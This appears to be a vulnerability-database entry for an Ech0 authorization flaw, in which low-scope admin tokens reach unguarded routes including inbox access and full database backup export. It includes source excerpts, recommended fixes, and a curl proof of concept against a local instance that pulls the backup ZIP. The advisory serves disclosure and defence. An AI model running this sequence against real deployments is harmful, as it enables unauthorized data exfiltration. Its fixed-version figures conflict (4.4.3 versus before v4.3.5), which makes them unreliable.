Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.
Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.
Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.
## Summary
Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.
## Impact
An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.
## Details
The issue is caused by a split authorization model:
- `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context
- `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it
- several privileged routes omit `RequireScopes(...)`
- multiple service methods then authorize using only `user.IsAdmin`
`internal/middleware/scope.go` shows that scope enforcement is opt-in:
```go
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
if v.TokenType() != authModel.TokenTypeAccess { ... }
if !containsValidAudience(v.Audience()) { ... }
if !containsAllScopes(v.Scopes(), scopes) { ... }
ctx.Next()
}
}
```
Representative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`:
```go
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}
```
Other source-confirmed unguarded privileged surfaces include:
- `/api/panel/comments*`
- `/api/addConnect`
- `/api/delConnect/:id`
- `/api/migration/*`
- `/api/backup/export`
Service-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`:
```go
func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
if err != nil {
return err
}
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
return nil
}
```
The backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID:
```go
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
token := ctx.Query("token")
claims, err := jwtUtil.ParseToken(token)
if err != nil { ... }
reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
})
}
```
This drops token type, scopes, audience, and token ID before the backup service runs.
## Proof of concept
### 1. Start the app
```bash
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
```
### 2. Initialize an owner account
```bash
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'
```
### 3. Log in as the owner and mint a low-scope access token
```bash
owner_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
low_scope_admin_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $owner_token" \
-d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
```
### 4. Use the low-scope token on an unguarded admin route
```bash
curl -sS "http://127.0.0.1:6277/api/inbox" \
-H "Authorization: Bearer $low_scope_admin_token"
```
Observed response:
```text
{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}
```
### 5. Use the same low-scope token on backup export
```bash
curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"
```
Observed response:
<img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" />
Try to unzip we will have log and database file:
```
->% unzip a.zip -d a
Archive: a.zip
inflating: a/app.log
inflating: a/ech0.db
```
## Recommended fix
Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.
Suggested route-level changes:
```go
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/inbox",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.InboxHandler.GetInboxList(),
)
// Apply the same pattern to the remaining inbox routes.
}
func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/backup/export",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.BackupHandler.ExportBackup(),
)
}
```
Suggested handler fix for `internal/handler/backup/backup.go`:
```go
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
return res.Response{
Msg: "",
Err: err,
}
}
return res.Response{
Msg: commonModel.EXPORT_BACKUP_SUCCESS,
}
})
}
```
The same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.
Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export in github.com/lin-snow/ech0.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 11:33:29 AM
dateUpdated: Aug 25, 2026, 1:28:12 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-285
Original publisher date fields
published: 2026-08-25T12:16:34.813
lastModified: 2026-08-31T20:50:15.927
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.